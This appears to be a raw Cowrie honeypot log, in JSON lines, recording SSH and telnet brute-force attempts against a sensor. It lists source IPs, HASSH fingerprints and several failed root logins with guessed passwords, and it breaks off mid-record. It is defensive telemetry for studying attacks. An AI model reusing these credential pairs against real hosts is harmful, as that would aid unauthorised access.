{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":51540,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e9e8de9aed7","protocol":"ssh","message":"New connection: 80.94.92.184:51540 (10.17.0.5:22) [session: 2e9e8de9aed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:01:47.988043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:01:48.388949Z","src_ip":"80.94.92.184","session":"2e9e8de9aed7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:01:48.392638Z","src_ip":"80.94.92.184","session":"2e9e8de9aed7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40818,"dst_ip":"10.17.0.5","dst_port":23,"session":"47d9ef6f352e","protocol":"telnet","message":"New connection: 152.42.224.71:40818 (10.17.0.5:23) [session: 47d9ef6f352e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:01:49.277418Z"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:01:49.877306Z","src_ip":"80.94.92.184","session":"2e9e8de9aed7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:01:51.095916Z","src_ip":"80.94.92.184","session":"2e9e8de9aed7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":55014,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9cc7b494678","protocol":"ssh","message":"New connection: 103.15.222.183:55014 (159.203.135.109:22) [session: d9cc7b494678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:02:03.285377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:02:03.291503Z","src_ip":"103.15.222.183","session":"d9cc7b494678","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:02:03.541503Z","src_ip":"103.15.222.183","session":"d9cc7b494678","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ilia16739","message":"login attempt [root/ilia16739] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:02:04.284493Z","src_ip":"103.15.222.183","session":"d9cc7b494678","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:02:05.534528Z","src_ip":"103.15.222.183","session":"d9cc7b494678","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":34582,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cf662f0a3e7","protocol":"ssh","message":"New connection: 87.251.79.125:34582 (159.203.135.109:22) [session: 2cf662f0a3e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:02:26.332701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:02:26.337158Z","src_ip":"87.251.79.125","session":"2cf662f0a3e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:02:26.408290Z","src_ip":"87.251.79.125","session":"2cf662f0a3e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"777777777","message":"login attempt [root/777777777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:02:26.649421Z","src_ip":"87.251.79.125","session":"2cf662f0a3e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:02:27.724037Z","src_ip":"87.251.79.125","session":"2cf662f0a3e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58536,"dst_ip":"10.17.0.5","dst_port":23,"session":"2120a259bf2c","protocol":"telnet","message":"New connection: 152.42.224.71:58536 (10.17.0.5:23) [session: 2120a259bf2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:02:56.042248Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":53678,"dst_ip":"159.203.135.109","dst_port":22,"session":"beef9b8535a7","protocol":"ssh","message":"New connection: 103.82.132.16:53678 (159.203.135.109:22) [session: beef9b8535a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:03:11.080206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:03:11.085494Z","src_ip":"103.82.132.16","session":"beef9b8535a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:03:11.348109Z","src_ip":"103.82.132.16","session":"beef9b8535a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyqwe","message":"login attempt [root/qwertyqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:03:12.133696Z","src_ip":"103.82.132.16","session":"beef9b8535a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:03:13.398308Z","src_ip":"103.82.132.16","session":"beef9b8535a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":51932,"dst_ip":"159.203.135.109","dst_port":22,"session":"03453839ab8c","protocol":"ssh","message":"New connection: 103.75.183.219:51932 (159.203.135.109:22) [session: 03453839ab8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:03:19.195495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:03:19.200594Z","src_ip":"103.75.183.219","session":"03453839ab8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:03:19.454917Z","src_ip":"103.75.183.219","session":"03453839ab8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7777777777","message":"login attempt [root/7777777777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:03:20.204887Z","src_ip":"103.75.183.219","session":"03453839ab8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:03:21.457499Z","src_ip":"103.75.183.219","session":"03453839ab8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":95.47755360603333,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:03:24.754876Z","src_ip":"152.42.224.71","session":"47d9ef6f352e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.55226802825928,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:03:42.594412Z","src_ip":"152.42.224.71","session":"2120a259bf2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":34722,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b7b1f70a6ee","protocol":"ssh","message":"New connection: 103.27.238.116:34722 (159.203.135.109:22) [session: 6b7b1f70a6ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:03:52.798584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:03:52.803528Z","src_ip":"103.27.238.116","session":"6b7b1f70a6ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:03:53.076701Z","src_ip":"103.27.238.116","session":"6b7b1f70a6ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1984","message":"login attempt [root/1984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:03:53.896340Z","src_ip":"103.27.238.116","session":"6b7b1f70a6ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:03:55.172989Z","src_ip":"103.27.238.116","session":"6b7b1f70a6ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":54210,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e4bad84288b","protocol":"ssh","message":"New connection: 80.94.92.184:54210 (10.17.0.5:22) [session: 8e4bad84288b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:04:51.319597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:04:51.423712Z","src_ip":"80.94.92.184","session":"8e4bad84288b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:04:51.524528Z","src_ip":"80.94.92.184","session":"8e4bad84288b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:04:52.634796Z","src_ip":"80.94.92.184","session":"8e4bad84288b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:04:54.124126Z","src_ip":"80.94.92.184","session":"8e4bad84288b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57912,"dst_ip":"10.17.0.5","dst_port":23,"session":"a879c3a4bb69","protocol":"telnet","message":"New connection: 152.42.224.71:57912 (10.17.0.5:23) [session: a879c3a4bb69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:05:11.216890Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":44166,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6ebee2cc87d","protocol":"ssh","message":"New connection: 193.228.128.84:44166 (159.203.135.109:22) [session: f6ebee2cc87d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:05:16.229778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:05:16.234828Z","src_ip":"193.228.128.84","session":"f6ebee2cc87d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56486,"dst_ip":"10.17.0.5","dst_port":23,"session":"b78b1f8e1f1c","protocol":"telnet","message":"New connection: 152.42.224.71:56486 (10.17.0.5:23) [session: b78b1f8e1f1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:05:16.245690Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 